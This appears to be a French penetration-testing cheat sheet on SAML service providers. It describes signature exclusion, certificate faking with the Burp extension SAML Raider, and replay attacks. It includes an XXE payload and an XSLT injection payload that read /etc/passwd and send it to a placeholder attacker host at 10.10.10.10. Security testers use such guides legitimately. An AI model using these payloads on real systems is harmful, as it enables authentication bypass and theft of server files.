SAML

Table of content

Résumé des principaux tests

  • Vérifier si le SP accepte une assertion sans signature : Signature exclusion attack
  • Vérifier si le SP est sensible au XML Signature Wrapping
  • Vérifier si le SP check que les assertions viennent d'un IDP de confiance : Certificate Faking
  • Vérifier si le SP est vulnérable aux injection XML ou XSLT : XXE et XSLT injection
  • Vérifier si le SP accepte les assertion générer pour un autre SP par un IDP commun : Token Recipient Confusion
  • Vérifier si les réponses SAML peuvent être rejouées : Replay attack

SAML Raider

SAML raider est une extension Burp permettant de décoder, afficher et modifier les requêtes SAML ansi que de faciliter la mise en place d'attaques de base sur le protocole SAML.

  • Ouvrir Burp et se rendre sur l'onglet Extender
  • Aller sur l'onglet BApp Store
  • Cliquer sur l'extension SAML Raider
  • Cliquer sur le bouton Install en bas à gauche Un fois installée, l'extension ajoute un onglet SAML Raider Certificates à l'interface Burp. Via l'onglet Proxy, lorsqu'une requête SAML est interceptée, il est possible d'activer le plugin SAML Raider en cliquand sur la dropdown en haut à droite de la fenêtre.

L'onglet SAML Raider Certificates permet de jouer avec les certificats qui seront utilisés dans les requêtes SAML :

  • Importer et Exporter des certificats X.509
  • Afficher les informations d'un certificat X.509
  • Clone des certificats X.509 et leur chaine de certificats
  • Importer et exporter les clés privées si disponible
  • Editer et auto-signer des certificats X.509 existant

Flow d'authentification SAML

Vocabulaire

  • SP : Service provider : l'application qui demande l'authentification
  • IDP : Identity provider : l'application qui va vérifier les paramètres d'authentification de l'utilisateur

Etapes du flow

  1. L'utilisateur accède à l'application qu'il souhaite utiliser.
  2. L'application détecte l'origine de l'utilisateur et le redirige vers l'IDP afin qu'il s'authentifie. C'est la requête d'authentification.
  3. L'utilisateur s'authentifie sur l'IDP
  4. L'IDP génère une réponse d'authentification sous la forme d'un document XML contenant les informations d'identification de l'utilisateur (nom d'utilisateur, email, etc...). La réponse est signée avec un certificat X.509 inclue dans la réponse.
  5. LE SP, qui connait l'IDP et possède l'empreinte de son certificat, récupère la réponse d'authentification, valide le certificat et valide l'intégrité des données de la réponse.
  6. L'identité de l'utilisateur est confirmé, et il peut avoir accès à l'application.

Signature Wrapping

TODO

Signature Exclusion

Cette attaque à pour but de vérifier la comportement du SP lorsqu'il recoit des réponses SAML non signée.

Une réponse SAML contient une partie signature sous la forme :

<Reponse ID=_Pl78...>
    <Signature>
        <SignedInfo>
            <Reference URI=_Pl78.../>
        </SignedInfo>
    <Signature>
    <Assertion> ... </Assertion>
</Reponse>

Il faut donc supprimer la partie signature afin que la réponse ait la forme suivante :

<Reponse ID=_Pl78...>
    <Assertion> ... </Assertion>
</Reponse>

XXE on SAML

Injecter une entité externe dans la réponse SAML:


<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.10.10"> %xxe;]>
<Reponse ID=_Pl78...>
    <Signature>
        <SignedInfo>
            <Reference URI=_Pl78.../>
        </SignedInfo>
    <Signature>
    <Assertion> ... </Assertion>
</Reponse>

Il suffit de mettre un serveur web en place sur l'IP 10.10.10.10 et de voir si le SP effectue une requête vers ce serveur web.

XSLT injection on SAML

XSLT ou Extensible Stylesheet Language Transformation est un langage permettant de transformer des documents XML en d'autres types de documents tel que le HTML, le JSON ou le PDF.

Il n'est pas nécessaire d'avoir une signature valide de la réponse pour mettre en place cette attaque. Ainsi, il est possible de signer la réponse avec un certificat auto-signé.

L'attaque consisteà injecter un payload XSLT dans un élément XML Transformà l'intérieur de l'élément Signature de la réponse SAML.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  ...
    <ds:Transforms>
      <ds:Transform>
        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:template match="doc">
            <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
            <xsl:variable name="escaped" select="encode-for-uri($file)"/>
            <xsl:variable name="attackerUrl" select="'http://10.10.10.10/'"/>
            <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
            <xsl:value-of select="unparsed-text($exploitUrl)"/>
          </xsl:template>
        </xsl:stylesheet>
      </ds:Transform>
    </ds:Transforms>
  ...
</ds:Signature>

Certificat Faking

Le principe de cette attaque est de modifier le certificat embarqué dans la réponse SAML par un certificat auto-signé, de modifier les éléments de la réponse SAML et de les resigner avec la clé privé du certificat auto-signé.

How to

  1. Intercepter la réponse SAML
  2. L'ouvrir avec l'extension SAML Raider
  3. Cliquer sur Send Certificate to SAML Raiders Certs
  4. Dans l'onglet SAML Raider Certificates, sélection le certificat et cliquer sur Save and Self-Sign
  5. Retourner sur l'onglet Proxy:Intercept
  6. Selection le certificat auto-signé
  7. Cliquer sur Remove Signature
  8. Cliquer sur (Re-)Sign Message

Si la réponse contient les jetons d'authentification alors, le SP ne vérifie pas l'authenticité du certificat. Il est donc possible d'altérer les paramètres des réponses SAML.

Token Recipient Confusion

TODO

Replay attacks

Rejouer les réponses SAML : les réponses SAML ne sont valable qu'une fois. S'il est possible de rejouer les requêtes, alors un attaquant peut capturer ces paquets, les rejouer et by-passer l'authentification.

results matching ""

    No results matching ""

    results matching ""

      No results matching ""